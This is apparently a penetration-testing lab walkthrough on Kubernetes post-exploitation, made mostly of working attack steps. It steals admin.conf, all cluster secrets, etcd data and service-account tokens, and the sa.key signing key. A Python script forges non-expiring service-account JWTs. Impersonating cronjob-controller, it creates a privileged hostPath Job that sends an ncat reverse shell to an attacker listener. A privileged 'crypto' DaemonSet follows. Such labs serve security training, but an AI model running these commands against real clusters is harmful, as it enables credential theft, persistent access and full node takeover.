# Lab\_09 - Kubernetes Post-Exploitation Part 2

## Lab 9: Kubernetes Post-Exploitation Part 2

### 1. Steal Admin Config <a href="#id-1-steal-admin-config" id="id-1-steal-admin-config"></a>

**As we are "root" on the master node, let's steal the "admin.conf" file containing the authentication data for the privileged user "kunernetes-admin".**

Solution

```
cat /etc/kubernetes/admin.conf
```

### 2. Steal Secrets <a href="#id-2-steal-secrets" id="id-2-steal-secrets"></a>

**Let's use the "admin.conf" file with kubectl in order to steal all k8s secrets.**

Hint

Use the **kubectl** "--kubeconfig" flag.

Solution

```
kubectl --kubeconfig=/etc/kubernetes/admin.conf get secrets -A
kubectl --kubeconfig=/etc/kubernetes/admin.conf get secret <SECRET> -o yaml
```

**Note:** Replace `<SECRET>` with a valid secret name.

### 3. Steal ETCD <a href="#id-3-steal-etcd" id="id-3-steal-etcd"></a>

**There are 2 main ways to steal information from ETCD:**

* Read the ETCD DB files directly

Solution

Identify the ETCD DB file location via the "data-dir" parameter in the ETCD command:

```
ps aux | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```

Use strings as a quick and dirty way to get information from the DB file:

```
strings /var/lib/etcd/member/snap/db | less
```

We can also use more advanced grep parsing to get specific info (e.g. Service Account tokens saved as secrets):

```
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B60 | grep registry`; echo $name \| $x; echo; done
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B60 | grep registry`; echo $name \| $x; echo; done | grep kube-system
```

* Steal the ETCD client, peer and/or server key-certificate pairs and a tool such as etcdctl in order read ETCD information via the ETCD server

Hint

Certificates and keys can be found at:

* `/etc/kubernetes/pki/apiserver-etcd-client.key` and `.crt`
* `/etc/kubernetes/pki/etcd/peer.key` and `.crt`
* `/etc/kubernetes/pki/etcd/server.key` and `.crt`

Solution

Get `etcdctl`:

```
wget https://github.com/etcd-io/etcd/releases/download/v3.5.11/etcd-v3.5.11-linux-amd64.tar.gz
tar -xzvf etcd-v3.5.11-linux-amd64.tar.gz
```

Use `etcdctl` with key-cert pair:

```
ETCDCTL_KEY=/etc/kubernetes/pki/apiserver-etcd-client.key ETCDCTL_CERT=/etc/kubernetes/pki/apiserver-etcd-client.crt  ETCDCTL_INSECURE_SKIP_TLS_VERIFY=true ETCDCTL_API=3 ./etcd-v3.5.11-linux-amd64/etcdctl --debug --endpoints https://127.0.0.1:2379 get / --prefix --keys-only

ETCDCTL_KEY=/etc/kubernetes/pki/apiserver-etcd-client.key ETCDCTL_CERT=/etc/kubernetes/pki/apiserver-etcd-client.crt  ETCDCTL_INSECURE_SKIP_TLS_VERIFY=true ETCDCTL_API=3 ./etcd-v3.5.11-linux-amd64/etcdctl --endpoints https://127.0.0.1:2379 get /registry/secrets/<NAMESPACE>/<POD_NAME>
```

### 4. Steal Kubernetes Private Key <a href="#id-4-steal-kubernetes-private-key" id="id-4-steal-kubernetes-private-key"></a>

**Let's steal the k8s private key.**

Hint

Key can be found at `/etc/kubernetes/pki/sa.key`

Solution

```
cat /etc/kubernetes/pki/sa.key
```

**Ok, we got the key. It's a ... nice souvenir? As the key is used to sign all service account JWTs let's write a python/bash/etc. script that will use it to sign our own JWTs, for any SA, that will never expire.**

Hint

Required information for a valid JWT:

* Service Account Name
* UID
* Namespace

Solution

Python script `create_jwt.py`:

```
#!/usr/bin/python3
import jwt, os, sys

if len(sys.argv) != 4:
	print(f"\n\tUSAGE: {sys.argv[0]} <USER> <UID> <NAMESPACE>")
	quit()

USER = sys.argv[1]
UID = sys.argv[2]
NAMESPACE = sys.argv[3]

f = open('/etc/kubernetes/pki/sa.key', 'rb')
private_key = f.read()
f.close()

# Example: pay = {"iss":"https://kubernetes.default.svc.cluster.local","kubernetes.io":{"namespace":"default","serviceaccount":{"name":"default","uid":"58225f8c-8768-41ad-b42f-0f9c6b8c2040"}}}
pay = {"iss":"https://kubernetes.default.svc.cluster.local","kubernetes.io":{"namespace":NAMESPACE,"serviceaccount":{"name":USER,"uid":UID}}}

encoded = jwt.encode(pay, private_key, algorithm="RS256")
#print(encoded)

os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} auth whoami")
os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} auth can-i --list")
### If you are impersonating the "cronjob-controller" SA uncomment the final line of code
# os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} apply -f cron.yml")
```

Get all required information for creating a JWT for the "default" SA:

```
kubectl get sa default -o yaml
```

Execute the python script creating a token for "default" and test it:

```
mv ~/.kube/config ~/.kube/config.bak    # optional
python3 create_jwt.py default <UID> default
mv ~/.kube/config.bak ~/.kube/config    # optional
```

**Note:** Replace `<UID>` with the valid UID of the default user.

**Cool, now let's try to generate a token for the "cronjob-controller" SA and see how we can exploit it's privileges.**

Hint

Let's leverage the "create" access on the "jobs.batch".

Hint

What if "bad pod" did a "bad job".

Solution

cron.yml:

```
apiVersion: batch/v1
kind: Job
metadata:
  name: everything-allowed-revshell-job
  labels:
    app: pentest
    type: job
spec:
  template:
    spec:
      hostNetwork: true
      hostPID: true
      hostIPC: true
      containers:
      - name: everything-allowed-revshell-job
        image: raesene/ncat
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "ncat --ssl <HOST> <PORT> -e /bin/bash;" ]
        securityContext:
          privileged: true
        volumeMounts:
        - mountPath: /host
          name: noderoot
      volumes:
      - name: noderoot
        hostPath:
          path: /
      restartPolicy: OnFailure
```

**Note:** Replace `<HOST>` and `<PORT>` with the valid HOST-PORT pair pointing to your netcat listener.

Don't forget to start the listener:

```
ncat --ssl -nlvp 4444 &
```

Get all required information for creating a JWT for the "kube-system:cronjob-controller" SA:

```
kubectl get sa cronjob-controller -n kube-system -o yaml
```

Add/Uncomment the following line to the python script:

```
os.system(f"kubectl -s https://localhost:6443 --insecure-skip-tls-verify=true --token={encoded} apply -f cron.yml")
```

Execute the python script creating a token for "kube-system:cronjob-controller" and test it:

```
mv ~/.kube/config ~/.kube/config.bak    # optional
python3 create_jwt.py default <UID> default
mv ~/.kube/config.bak ~/.kube/config    # optional
```

Reverse shell should be sent back by the malicious job pod in less then a minute.

### 5. Create Privileged DaemonSet <a href="#id-5-create-privileged-daemonset" id="id-5-create-privileged-daemonset"></a>

**Let's create a privileged DaemonSet.**

Hint

"kind: DaemonSet"

Solution

crypto\_deamon.yml:

```
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: ds01
spec:
  selector:
    matchLabels:
      ds: ds01
  template:
    metadata:
      labels:
        ds: ds01
    spec:
      containers:
      - name: crypto
        image: ubuntu
        command: [ "/bin/sh", "-c", "--" ]
        args: [ "while true; do echo mining stuff; sleep 30; done;" ]
        securityContext:
          privileged: true
```

Check that Daemon Pods were created:

```
kubectl apply -f crypto_deamon.yml
kubectl get pods
```

\\
